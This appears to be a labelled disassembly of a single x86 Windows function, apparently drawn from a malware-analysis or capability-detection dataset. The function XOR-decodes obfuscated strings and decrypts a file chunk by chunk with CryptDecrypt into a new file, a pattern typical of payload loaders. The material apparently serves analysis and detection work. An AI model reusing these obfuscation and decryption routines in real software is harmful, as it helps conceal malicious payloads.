Function at 0x100110d0
Capabilities:
Encode data using xor
Encrypt or decrypt via wincrypt
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54
mov eax, dword [0x1007a040]
xor eax, esp
mov dword [esp + 0x50], eax
push ebx
push esi
push edi
mov edi, dword [0x1007f344]
cmp dword [edi + 0x10], 0
je 0x100113b3
call fcn.10010d60
test al, al
jne 0x100113b3
mov ah, 0x2b
mov byte [esp + 0x11], 0
mov cl, 0x4f
mov byte [esp + 0xc], ah
mov al, 5
mov byte [esp + 0x11], 0
mov dl, 0x58
lea esi, [esp + 0xd]
xor cl, ah
mov bl, 0x5f
xor al, ah
mov byte [esp + 0xe], cl
xor dl, ah
mov byte [esp + 0xd], al
xor bl, ah
mov byte [esp + 0xf], dl
mov byte [esp + 0x10], bl
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10011140
sub esi, ecx
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x10011153
mov ecx, dword [edi]
mov edx, dword [edi + 0x10]
lea eax, [esp + 0xd]
push esi
push eax
push ecx
call fcn.10010b90
add esp, 0xc
cmp eax, 0xffffffff
je 0x100113b3
movaps xmm0, xmmword [str._e_v:]
xor ecx, ecx
push dword [0x1007f064]
movups xmmword [esp + 0x1c], xmm0
mov dword [esp + 0x2c], 0x6c6f6f3e
mov dword [esp + 0x30], 0x713b7a00
mov dword [esp + 0x34], 0x2b2b38
nop word [eax + eax]
mov al, byte [esp + 0x1c]
xor byte [esp + ecx + 0x1d], al
inc ecx
cmp ecx, 0x1a
jb 0x100111a0
sub esp, 0x18
mov byte [esp + 0x4f], 0
mov edx, esp
lea ecx, [esp + 0x35]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100111d3
sub ecx, esi
lea eax, [esp + 0x35]
push ecx
push eax
mov ecx, edx
call fcn.10004850
lea eax, [esp + 0x50]
push eax
call fcn.100043f0
add esp, 0x20
mov ecx, 0x1007f348
push eax
call fcn.10009940
mov ecx, dword [esp + 0x48]
cmp ecx, 0xf
jbe 0x10011237
mov edx, dword [esp + 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001122d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100113e4
push ecx
push edx
call fcn.1003bf86
add esp, 8
mov eax, dword [0x1007f344]
cmp dword [eax + 0x14], 0xf
jbe 0x10011244
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push eax
call esi
cmp dword [0x1007f35c], 0xf
mov ecx, 0x1007f348
push 0
cmova ecx, dword [0x1007f348]
mov edi, eax
push 0x80
push 2
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x30], edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
mov dword [esp + 0xc], ebx
cmp edi, 0xffffffff
je 0x10011397
cmp ebx, 0xffffffff
je 0x10011393
lea eax, [esp + 0x50]
xor bl, bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
xor esi, esi
or esi, dword [esp + 0x50]
not esi
and esi, 1
add esi, 0x1f
push esi
call fcn.10047260
mov edi, eax
add esp, 4
test edi, edi
je 0x10011385
push 0
lea eax, [esp + 0x50]
push eax
push 4
push edi
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10011308
push 0
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x54]
push edi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push 0
push edi
call fcn.1003e0a0
add esp, 0xc
mov dword [esp + 0x4c], 0
nop dword [eax]
push 0
lea eax, [esp + 0x50]
push eax
push esi
push edi
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10011378
cmp dword [esp + 0x4c], esi
mov eax, 1
movzx ebx, bl
cmovb ebx, eax
lea eax, [esp + 0x4c]
push eax
push edi
push 0
push 1
push 0
push dword [0x1007f068]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10011378
push 0
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x54]
push edi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test bl, bl
je 0x10011320
push edi
call fcn.10046760
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 0x14]
test edi, edi
je 0x1001139a
push edi
call esi
test ebx, ebx
je 0x100113d2
push ebx
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.1003bf25
mov esp, ebp
pop ebp
ret
cmp edi, 0x1007f348
je 0x100113d2
cmp dword [edi + 0x14], 0xf
mov eax, dword [edi + 0x10]
jbe 0x100113c6
mov edi, dword [edi]
push eax
push edi
mov ecx, 0x1007f348
call fcn.10004570
mov ecx, dword [esp + 0x5c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1003bf25
mov esp, ebp
pop ebp
ret
call fcn.10041254
int3